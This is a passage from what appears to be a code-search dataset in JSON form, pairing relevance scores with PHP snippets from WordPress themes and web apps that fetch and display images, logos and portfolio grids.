array('alt'=>'');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t $url = $this->webroot . SITE_IMAGEURL . $path.$url;\n\t\t\t\t}\n\t\t\t}\t\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t $url=\"/img/noimage.gif\";\n\t\t\t $htmlAttributes = array('alt'=>'');\n\t\t}\n\t\t\n\t\tif($returnurl)\n\t\t{\n\t\t return $url;\n\t\t} \n\t\treturn $this->output(sprintf($this->tags['image'], $url, $this->parseHtmlOptions($htmlAttributes, null, '', ' ')), $return);\n\t}", "title": "" }, { "docid": "02ac9b732bd33cfd2f6540dc44824588", "score": "0.57109135", "text": "protected function _content_template() {\n ?>\n\n <section id=\"portfolio\" class=\"wow fadeInUp\">\n <div class=\"container-fluid\">\n <div class=\"row no-gutters\">\n\n <# if ( settings.list.length ) { #>\n <# _.each( settings.list, function( item ) { #>\n\n <div class=\"col-lg-3 col-md-4\">\n <div class=\"portfolio-item wow fadeInUp\">\n\n <a href=\"{{ item.image.url }}\" class=\"portfolio-popup\">\n <img src=\"{{ item.image.url }}\" alt=\"\">\n <div class=\"portfolio-overlay\">\n <div class=\"portfolio-info\">\n <h2 class=\"wow fadeInUp\">{{{ item.title }}}</h2>\n </div>\n </div>\n </a>\n </div>\n </div>\n\n <# }); #>\n <# } #>\n\n </div>\n </div>\n </section><!-- #portfolio -->\n \n <?php\n }", "title": "" }, { "docid": "1dbd1490b0b40290e0cceced3829c9f6", "score": "0.5693562", "text": "abstract public function imageUrlTemplate();", "title": "" }, { "docid": "365e5e5530a4c518423b02d0bee4b9d0", "score": "0.5683747", "text": "public function getImage() {\n\t\t$post = aioseo()->helpers->getPost();\n\t\tif ( is_home() && 'posts' === get_option( 'show_on_front' ) ) {\n\t\t\t$image = aioseo()->options->social->facebook->homePage->image;\n\t\t\tif ( empty( $image ) ) {\n\t\t\t\t$image = aioseo()->social->image->getImage( 'facebook', aioseo()->options->social->facebook->general->defaultImageSourcePosts, $post );\n\t\t\t}\n\n\t\t\treturn $image;\n\t\t}\n\n\t\t$metaData = aioseo()->meta->metaData->getMetaData( $post );\n\n\t\t$image = '';\n\t\tif ( ! empty( $metaData ) ) {\n\t\t\t$imageSource = ! empty( $metaData->og_image_type ) && 'default' !== $metaData->og_image_type\n\t\t\t\t? $metaData->og_image_type\n\t\t\t\t: aioseo()->options->social->facebook->general->defaultImageSourcePosts;\n\n\t\t\t$image = aioseo()->social->image->getImage( 'facebook', $imageSource, $post );\n\t\t}\n\n\t\tif ( ! $image ) {\n\t\t\t$image = aioseo()->helpers->getSiteLogoUrl();\n\t\t}\n\n\t\t// Allow users to control the default image per post type.\n\t\treturn apply_filters(\n\t\t\t'aioseo_opengraph_default_image',\n\t\t\t$image,\n\t\t\t[\n\t\t\t\t$post,\n\t\t\t\t$this->getObjectType()\n\t\t\t]\n\t\t);\n\t}", "title": "" }, { "docid": "2eef35670b95cfec2891dbd7a90d0e07", "score": "0.5677974", "text": "public function logo()\n {\n if($this->isSample)\n {\n return '../../img/client/company-logo.png';\n }\n\n $logo = db::table('company_logos')->where('company_id', $this->id)->first();\n\n if($logo) {\n return config('fileapi.path_company_main_logo') . $this->id . '/' . $logo->filename;\n }\n\n return '/img/helix-logo.jpg';\n }", "title": "" }, { "docid": "20ef0dc4797ebf8359a33245f77ec252", "score": "0.56723285", "text": "public function getFeaturedImageUrl()\n {\n if ( $this->hasFeaturedImage() ) {\n return asset('uploads/images/' . $this->getStoragePath() . $this->featured_image);\n }\n\n return asset('img/logos/logo-square.png');\n }", "title": "" }, { "docid": "1435ebb847c3846984c5870e1941b717", "score": "0.56717473", "text": "function iconImg(){\n\n\t$link = \"\";\n\n\tif(isAdmin() || isAuditor())\n\t\t$link = \"?page=tickets\";\n\tif(isUser())\n\t\t$link = \"?page=userTickets\";\n\n\t$homeIconLink = \"<a class='navbar-brand' href='$link' id='home'><img src='content/uwoticketz-logo-64x64.png'/></a>\";\n\techo $homeIconLink;\n}", "title": "" }, { "docid": "2ed26f4aef4dbe9f604f6df1cf3fc6d9", "score": "0.5671076", "text": "public function adminlte_image()\n {\n return 'https://picsum.photos/300/300';\n }", "title": "" }, { "docid": "0791a93f66fb9f0fb48e21a68e6eac60", "score": "0.56655127", "text": "public function getImageNameAttribute() {\n $site_settings_url = @SiteSettings::where('name', 'site_url')->first()->value;\n $url = \\App::runningInConsole() ? $site_settings_url : url('/');\n @$photo_src = explode('.', $this->attributes['icon']);\n\n if (count($photo_src) > 1) {\n\n $name = $this->attributes['icon'];\n return $url . '/images/amenities/' . $name;\n\n } else {\n $options['secure'] = TRUE;\n /*$options['width'] = 450;\n $options['height'] = 250;*/\n $options['crop'] = 'fill';\n return $src = \\Cloudder::show($this->attributes['icon'], $options);\n }\n\n }", "title": "" }, { "docid": "74f7787e9b82350806e91f94aca22548", "score": "0.56352293", "text": "public function getImageUrl()\n {\n $product = $this->getProduct();\n return $this->_imageHelper->init($product, 'product_page_image_small')\n ->setImageFile($product->getImage())\n ->getUrl();\n }", "title": "" }, { "docid": "05719dd1aee3b685e9f808730b77a1ad", "score": "0.5634147", "text": "public function getPortletImage();", "title": "" }, { "docid": "d115cf42bfc67e5f37a2bdd9e7dd9c63", "score": "0.56269485", "text": "public function getLogo();", "title": "" }, { "docid": "0893964a875f634f79ee56a39c884bfe", "score": "0.56231195", "text": "function shades_show_featured_image( $size ) {\n\n\tif ( is_home() || is_front_page() && has_post_thumbnail() ) {\n\t\tthe_post_thumbnail( $size, array( 'class' => 'aligncenter' ) );\n\t}\n\n}", "title": "" }, { "docid": "edbadb420bfb12a9c350baaa8b294326", "score": "0.5617647", "text": "protected function image() {\n\t\tif ( is_category() || is_tax() || is_tag() ) {\n\t\t\t$this->taxonomy_image_output();\n\t\t}\n\t\telse {\n\t\t\t$this->single_image_output();\n\t\t}\n\n\t\tif ( count( $this->shown_images ) === 0 && WPSEO_Options::get( 'og_default_image', '' ) !== '' ) {\n\t\t\t$this->image_output( WPSEO_Options::get( 'og_default_image' ) );\n\t\t}\n\t}", "title": "" }, { "docid": "febc06d4339f19a37f778dbb94f97d61", "score": "0.5611563", "text": "function wbb_theme_img($img) {\n\n echo get_bloginfo(\"stylesheet_directory\") . \"/assets/img/$img\";\n}", "title": "" }, { "docid": "16b571da0435dc713c7fcfcc0deceae6", "score": "0.5610634", "text": "function mipress_featured_overall_image() {\n\t\tglobal $post, $wp_query;\n\t\t$enable = get_theme_mod( 'mipress_header_media_option', 'entire-site-page-post' );\n\n\t\t// Get Page ID outside Loop\n\t\t$page_id = absint( $wp_query->get_queried_object_id() );\n\n\t\t$page_for_posts = absint( get_option( 'page_for_posts' ) );\n\n\t\t// Check Enable/Disable header image in Page/Post Meta box\n\t\tif ( is_singular() ) {\n\t\t\t//Individual Page/Post Image Setting\n\t\t\t$individual_featured_image = get_post_meta( $post->ID, 'mipress-header-image', true );\n\n\t\t\tif ( 'disable' === $individual_featured_image || ( 'default' === $individual_featured_image && 'disable' === $enable ) ) {\n\t\t\t\treturn;\n\t\t\t} elseif ( 'enable' == $individual_featured_image && 'disable' === $enable ) {\n\t\t\t\treturn mipress_featured_page_post_image();\n\t\t\t}\n\t\t}\n\n\t\t// Check Homepage\n\t\tif ( 'homepage' === $enable ) {\n\t\t\tif ( is_front_page() || ( is_home() && $page_for_posts !== $page_id ) ) {\n\t\t\t\treturn mipress_featured_image();\n\t\t\t}\n\t\t} elseif ( 'exclude-home' === $enable ) {\n\t\t\t// Check Excluding Homepage\n\t\t\tif ( is_front_page() || ( is_home() && $page_for_posts !== $page_id ) ) {\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\treturn mipress_featured_image();\n\t\t\t}\n\t\t} elseif ( 'exclude-home-page-post' === $enable ) {\n\t\t\tif ( is_front_page() || ( is_home() && $page_for_posts !== $page_id ) ) {\n\t\t\t\treturn false;\n\t\t\t} elseif ( is_singular() ) {\n\t\t\t\treturn mipress_featured_page_post_image();\n\t\t\t} else {\n\t\t\t\treturn mipress_featured_image();\n\t\t\t}\n\t\t} elseif ( 'entire-site' === $enable ) {\n\t\t\t// Check Entire Site\n\t\t\treturn mipress_featured_image();\n\t\t} elseif ( 'entire-site-page-post' === $enable ) {\n\t\t\t// Check Entire Site (Post/Page)\n\t\t\tif ( is_singular() || ( is_home() && $page_for_posts === $page_id ) ) {\n\t\t\t\treturn mipress_featured_page_post_image();\n\t\t\t} else {\n\t\t\t\treturn mipress_featured_image();\n\t\t\t}\n\t\t} elseif ( 'pages-posts' === $enable ) {\n\t\t\t// Check Page/Post\n\t\t\tif ( is_singular() ) {\n\t\t\t\treturn mipress_featured_page_post_image();\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "e16a368609da812c6ad64c1454962173", "score": "0.5601569", "text": "public function getMainImageTitle()\n {\n return $this->main_image_title; \n }", "title": "" }, { "docid": "c465d01f6fd6b4891f1fddde293e53ee", "score": "0.5596448", "text": "function getSidebarImages(){\n}", "title": "" }, { "docid": "cd8f0ca77dc47540f86c674b98dd0a87", "score": "0.55933064", "text": "function pinterest_image() {\r\n global $post, $posts;\r\n //if you set p-img custom field, then set it as pinterest_image\r\n $pinterest_image = get_post_meta($post->ID, 'p-img', true); \r\n \r\n //if not,get the first image in the post as pinterest_image\r\n $first_img = '';\r\n ob_start();\r\n ob_end_clean();\r\n $output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\r\n $first_img = $matches [1] [0];\r\n\r\n //return pinterest_image URL\r\n if(empty($pinterest_image)){ \r\n $pinterest_image = $first_img;\r\n }\r\n return $pinterest_image;\r\n}", "title": "" }, { "docid": "19ee6eec4acb1961c27f8258143d5ae1", "score": "0.55913377", "text": "public function getImageUrl()\n {\n // return a default image placeholder if your source avatar is not found\n $file = isset($this->filename) ? $this->filename : 'default.jpg';\n return '/uploads/files/products/' . $file;\n }", "title": "" }, { "docid": "4fb7ac8b77d539f5322fba1b69fa2fc0", "score": "0.55861014", "text": "function get_homepage_info ($image_size, $id, $crop, $thumbnum) {\n\t\n\t\tglobal $thumb, $full, $alt, $caption, $image_title;\n\t\t\n\t\t$i = 2;\n\t\t\n\t\twhile ($i < ($thumbnum)) {\n\t\t\n\t\tglobal ${\"thumb\" . $i};\n\t\tglobal ${\"caption\" . $i};\n\t\tglobal ${\"full\" . $i};\n\t\tglobal ${\"alt\" . $i};\n\t\t\n\t\t$i++;\n\t\t\n\t\t}\n\t\t\n\t\t\t $counter = 2; //start counter at 2\n\t\t\t \n\t\t\t $args = array( 'post_type' => 'attachment', 'orderby' => 'menu_order', 'order' => 'ASC', 'post_mime_type' => 'image' ,'post_status' => null, 'numberposts' => null, 'post_parent' => $id);\n\n\n\t\t\t $thumbnail_image = get_posts($args);\n\t\t\t if ($thumbnail_image) {\n\t\t\t $caption = $thumbnail_image[0]->post_excerpt;\n\t\t\t }\n\n\n\t\t\t $full = get_post_meta($id,'_thumbnail_id',false); // Get Image ID \n\t\t\t \n\t\t\t $alt = get_post_meta($full, '_wp_attachment_image_alt', true); // Alt text of image\n\t\t\t $full = wp_get_attachment_image_src($full[0], 'blog', false); // URL of Featured Full Image\n\t\t\t \t\t\t \n\t\t\t if ( $crop ) { if ($crop == 'No Crop') {\n\t\t\t\t \n\t\t\t $thumb = get_post_meta($id,'_thumbnail_id',false); \n\t\t\t $thumb = wp_get_attachment_image_src($thumb[0], false); // URL of Featured first slide\n\t\t\t \n\t\t\t } else {\n\t\t\t\t \n\t\t\t $thumb = get_post_meta($id,'_thumbnail_id',false); \n\t\t\t $thumb = wp_get_attachment_image_src($thumb[0], $image_size, false); // URL of Featured first slide\n\t\t\t\t \n\t\t\t } } else {\n\t\t\t\t \n\t\t\t $thumb = get_post_meta($id,'_thumbnail_id',false); \n\t\t\t $thumb = wp_get_attachment_image_src($thumb[0], $image_size, false); // URL of Featured first slide\n\t\t\t \n\t\t\t }\n\t\t\t\n\t\t\twhile ($counter < ($thumbnum)) {\n\t\t\t\t\n\t\t\t\t\tif ($counter == 2) { $countername = 'second';\n\t\t\t\t\t} else\n\t\t\t\t\tif ($counter == 3) { $countername = 'third'; \n\t\t\t\t\t} else\n\t\t\t\t\tif ($counter == 4) { $countername = 'fourth';\n\t\t\t\t\t} else\n\t\t\t\t\tif ($counter == 5) { $countername = 'fifth';\n\t\t\t\t\t} else\n\t\t\t\t\tif ($counter == 6) { $countername = 'sixth';\n\t\t\t\t\t} else {\n\t\t\t\t\t$countername = $counter;\t\n\t\t\t\t\t}\n\n\t\t\t\t ${\"full\" . $counter} = MultiPostThumbnails::get_post_thumbnail_id('post', $countername . '-slide', $id); // Get Image ID\n\t\t\t\t // The thumbnail caption:\n\t\t\t\t ${\"caption\" . $counter} = get_post(${\"full\" . $counter})->post_excerpt;\n\t\t\t\t ${\"alt\" . $counter} = get_post_meta(${\"full\" . $counter} , '_wp_attachment_image_alt', true); // Alt text of image\t\t\t \n\t\t\t\t ${\"full\" . $counter} = wp_get_attachment_image_src(${\"full\" . $counter}, false); // URL of Second Slide Full Image\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t \n\t\t\t if ( $crop ) { if ($crop == 'No Crop') {\n\t\t\t \n \t\t ${\"thumb\" . $counter} = MultiPostThumbnails::get_post_thumbnail_id('post', $countername . '-slide', $id); \n\t\t\t ${\"thumb\" . $counter} = wp_get_attachment_image_src(${\"thumb\" . $counter}, false); // URL of next Slide \n\t\t\n\t\t\t\t \n\t\t\t } else {\n\t\t\t \n \t\t ${\"thumb\" . $counter} = MultiPostThumbnails::get_post_thumbnail_id('post', $countername . '-slide', $id); \n\t\t\t ${\"thumb\" . $counter} = wp_get_attachment_image_src(${\"thumb\" . $counter}, $image_size, false); // URL of next Slide \n\t \n\t\t\t } } else {\n\t\t\t \n \t\t ${\"thumb\" . $counter} = MultiPostThumbnails::get_post_thumbnail_id('post', $countername . '-slide', $id); \n\t\t\t ${\"thumb\" . $counter} = wp_get_attachment_image_src(${\"thumb\" . $counter}, $image_size, false); // URL of next Slide \n\t\t\t \n\t\t\t }\n\t\t\t \n\t\t\t $counter++;\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "6c9e883c844f7f3ffede7c1324f2d11d", "score": "0.5576073", "text": "public function index()\n {\n return view('portfolio');\n }", "title": "" }, { "docid": "dd21474be0e61090bbb26488af7535f1", "score": "0.5575997", "text": "function portfolio_front_page()\r\r\n{\r\r\n\tglobal $wpGrade_Options, $post;\r\r\n\t//show only 3 on the home page by default\r\r\n\t$number = 3;\r\r\n\t\r\r\n//\tif ($wpGrade_Options->get('homepage_portfolio_limit'))\r\r\n//\t{\r\r\n//\t\t$number = absint($wpGrade_Options->get('homepage_portfolio_limit'));\r\r\n//\t}\r\r\n\t//the width/height ratio of the sizes\r\r\n\t$portfolio_ratios = \r\r\n\t\tarray(\r\r\n\t\t\t'long' => 2.592,\r\r\n\t\t\t'tall' => 0.649,\r\r\n\t\t\t'small' => 1.299,\r\r\n\t\t);\r\r\n\t\r\r\n\t//the patterns for 6 portfolio items, 3 per row, with 9 columns grid\r\r\n\t$portfolio_patterns = \r\r\n\t\tarray(\r\r\n\t\t\tarray('small','long','big','tall'),\r\r\n\t\t\tarray('big','tall','small','long'),\r\r\n\t\t\tarray('long','small','small','big', 'small'),\r\r\n\t\t\tarray('long','small','tall','big'),\r\r\n\t\t\tarray('small','big','small','long','small'),\r\r\n\t\t\tarray('long','small','tall','big'),\r\r\n\t\t);\r\r\n\r\r\n //$featured_query = new WP_Query( array('post_type' => 'portfolio', 'posts_per_page' => $number));\r\r\n $query_args = array(\r\r\n 'post_type' => 'portfolio',\r\r\n 'posts_per_page' => $number,\r\r\n 'meta_key' => '_senna_portfolio_featured',\r\r\n 'orderby' => 'meta_value date',\r\r\n 'meta_query' => array(\r\r\n 'relation' => 'AND',\r\r\n array(\r\r\n 'key' => '_senna_portfolio_featured',\r\r\n 'compare' => '=',\r\r\n 'value' => 'on'\r\r\n ),\r\r\n )\r\r\n );\r\r\n \r\r\n $featured_projects = get_posts( $query_args );\r\r\n\t\r\r\n // if we don't have enough featured posts we fill them with reqular posts\r\r\n if ( count($featured_projects) < $number ) {\r\r\n $squery_args = array(\r\r\n 'post_type' => 'portfolio',\r\r\n 'posts_per_page' => $number - count($featured_projects),\r\r\n\t\t 'orderby' => 'date',\r\r\n 'meta_query' => array(\r\r\n 'relation' => 'OR',\r\r\n array(\r\r\n 'key' => '_senna_portfolio_featured',\r\r\n 'compare' => '!=',\r\r\n 'value' => 'on'\r\r\n ),\r\r\n array(\r\r\n 'key' => '_senna_portfolio_featured',\r\r\n 'compare' => 'NOT EXISTS',\r\r\n 'value' => ''\r\r\n ),\r\r\n )\r\r\n );\r\r\n $regular_projects = get_posts( $squery_args );\r\r\n\t \r\r\n\t $featured_projects = array_merge($featured_projects, $regular_projects);\r\r\n } ?>\r\r\n\t<div class=\"row portfolio_frontpage portfolio_items\">\r\r\n\t\t<?php\r\r\n\t\t\t/* Start the Loop */ \r\r\n\t\t\t$counter = 0;\r\r\n\t\t foreach ($featured_projects as $key=>$post): setup_postdata( $post ); ?>\r\r\n\t\t\t<?php if ($counter < $number): ?>\r\r\n\t\t\t\t<article id=\"post-<?php the_ID(); ?>\" <?php post_class(); ?>>\r\r\n\t\t\t\t <ul>\r\r\n\t\t\t\t<?php\r\r\n\t\t\t\t\t// get the big image\r\r\n\t\t\t\t\t$video_markup = (get_post_format() == 'video') ? '<div class=\"video_icon\"><span></span></div>' : '';\r\r\n\t\t\t\t\t$video_class = (get_post_format() == 'video') ? 'video_type' : '';\r\r\n\t\t\t\t\t$video_poster = get_post_meta(get_the_ID(), '_senna_video_poster', true);\r\r\n\t\t\t\t\tif (!empty($video_poster))\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\tglobal $wpdb;\r\r\n\t\t\t\t\t\t$uploads_dir_info = wp_upload_dir();\r\r\n\t\t\t\t\t\t$temp_poster = str_replace($uploads_dir_info['baseurl'].'/', '', $video_poster);\r\r\n\t\t\t\t\t\t$featured_image_id = $wpdb->get_var($wpdb->prepare(\"SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'\", $temp_poster));\r\r\n\t\t\t\t\t\t\r\r\n\t\t\t\t\t\tif (!empty($featured_image_id))\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t//get the rest of the gallery without the featured image\r\r\n\t\t\t\t\t\t\t$attachments = get_posts( array(\r\r\n\t\t\t\t\t\t\t\t'post_type' => 'attachment',\r\r\n\t\t\t\t\t\t\t\t'post_mime_type' => 'image',\r\r\n\t\t\t\t\t\t\t\t'posts_per_page' => -1,\r\r\n\t\t\t\t\t\t\t\t'post_parent' => get_the_ID(),\r\r\n\t\t\t\t\t\t\t\t'exclude' => $featured_image_id\r\r\n\t\t\t\t\t\t\t) );\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t//get the gallery\r\r\n\t\t\t\t\t\t\t$attachments = get_posts( array(\r\r\n\t\t\t\t\t\t\t\t'post_type' => 'attachment',\r\r\n\t\t\t\t\t\t\t\t'post_mime_type' => 'image',\r\r\n\t\t\t\t\t\t\t\t'posts_per_page' => -1,\r\r\n\t\t\t\t\t\t\t\t'post_parent' => get_the_ID(),\r\r\n\t\t\t\t\t\t\t) );\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\r\r\n\t\t\t\t\t} elseif (has_post_thumbnail( get_the_ID() ))\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t$featured_image_id = get_post_thumbnail_id(get_the_ID());\r\r\n\t\t\t\t\t\t\r\r\n\t\t\t\t\t\t//get the rest of the gallery without the featured image\r\r\n\t\t\t\t\t\t$attachments = get_posts( array(\r\r\n\t\t\t\t\t\t\t'post_type' => 'attachment',\r\r\n\t\t\t\t\t\t\t'post_mime_type' => 'image',\r\r\n\t\t\t\t\t\t\t'posts_per_page' => -1,\r\r\n\t\t\t\t\t\t\t'post_parent' => get_the_ID(),\r\r\n\t\t\t\t\t\t\t'exclude' => $featured_image_id\r\r\n\t\t\t\t\t\t) );\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\telse\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t//get all the images in the gallery\r\r\n\t\t\t\t\t\t$attachments = get_posts( array(\r\r\n\t\t\t\t\t\t\t'post_type' => 'attachment',\r\r\n\t\t\t\t\t\t\t'post_mime_type' => 'image',\r\r\n\t\t\t\t\t\t\t'posts_per_page' => -1,\r\r\n\t\t\t\t\t\t\t'post_parent' => get_the_ID()\r\r\n\t\t\t\t\t\t) );\r\r\n\t\t\t\t\t\t\r\r\n\t\t\t\t\t\t//we use the first image in the gallery for the big one\r\r\n\t\t\t\t\t\tif (!empty($attachments[0]))\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t$featured_image_id = $attachments[0]->ID;\r\r\n\t\t\t\t\t\t\t//delete the first image from the array\r\r\n\t\t\t\t\t\t\tarray_shift($attachments);\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\t\r\r\n\t\t\t\t\tif ( !empty($attachments) ) \r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t//make an array with images url, width, height and ratio of width/height\r\r\n\t\t\t\t\t\t$attachment_images = array();\r\r\n\t\t\t\t\t\tforeach ( $attachments as $attachment ) \r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t$attachment_images[$attachment->ID] = wp_get_attachment_image_src($attachment->ID, 'full');\r\r\n\t\t\t\t\t\t\t$attachment_images[$attachment->ID]['ratio'] = $attachment_images[$attachment->ID][1] / $attachment_images[$attachment->ID][2];\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\r\r\n\t\t\t\t\t\t//lets go through the pattern and find the right images for each position\r\r\n\t\t\t\t\t\t$pattern_counter = 0;\r\r\n\t\t\t\t\t\tforeach ($portfolio_patterns[$counter%6] as $pattern )\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t//if it's not the big one, we've found that earlier\r\r\n\t\t\t\t\t\t\tif ($pattern != 'big')\r\r\n\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t//if we still have images\r\r\n\t\t\t\t\t\t\t\tif (!empty($attachment_images))\r\r\n\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t//put the \"Portfolio\" box\r\r\n\t\t\t\t\t\t\t\t\tif ($counter == 0 && $pattern == 'long')\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' text big-portfolio\" >\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_portfolio_page_link().'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"title\"><div>'.$wpGrade_Options->get('homepage_portfolio_title').'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\telseif ($counter == 2 && $pattern_counter == 4 && $pattern == 'small') //put the \"More\" box\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' text more-portfolio\" >\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_portfolio_page_link().'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"title\"><div>'.$wpGrade_Options->get('homepage_portfolio_more').'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\t//find the best image for this size\r\r\n\t\t\t\t\t\t\t\t\t\t$image_ID = find_closest_number($portfolio_ratios[$pattern], $attachment_images, \"ratio\");\r\r\n\t\t\t\t\t\t\t\t\t\t//delete the image from the array\r\r\n\t\t\t\t\t\t\t\t\t\tunset($attachment_images[$image_ID]);\r\r\n\t\t\t\t\t\t\t\t\t\t$image_src = wp_get_attachment_image_src($image_ID, $pattern );\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.'\" style=\"background-image:url('.$image_src[0].')\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t//put the \"Portfolio\" box\r\r\n\t\t\t\t\t\t\t\t\tif ($counter == 0 && $pattern == 'long')\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' text big-portfolio\" >\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_portfolio_page_link().'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"title\"><div>'.__('Portfolio', wpGrade_txtd).'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\telseif ($counter == 2 && $pattern_counter == 4 && $pattern == 'small') //put the \"More\" box\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' text more-portfolio\" >\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_portfolio_page_link().'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"title\"><div>'.__('More', wpGrade_txtd).'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t\t//we output an empty box, just color\r\r\n\t\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' empty\" ><a href=\"'.get_post_type_archive_link('portfolio').'\">\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t\t\t\t</a></li>';\r\r\n\t\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\tif (!empty($featured_image_id))\r\r\n\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\t$image_src = wp_get_attachment_image_src($featured_image_id, $pattern );\r\r\n\t\t\t\t\t\t\t\t\techo '<li class=\"big '.$video_class.'\" style=\"background-image:url('.$image_src[0].')\">\r\r\n\t\t\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t\telse if (!empty($video_poster))\r\r\n\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\techo '<li class=\"big '.$video_class.'\" style=\"background-image:url('.$video_poster.')\">\r\r\n\t\t\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t} \r\r\n\t\t\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\t\t\techo '<li class=\"'.$pattern.' empty 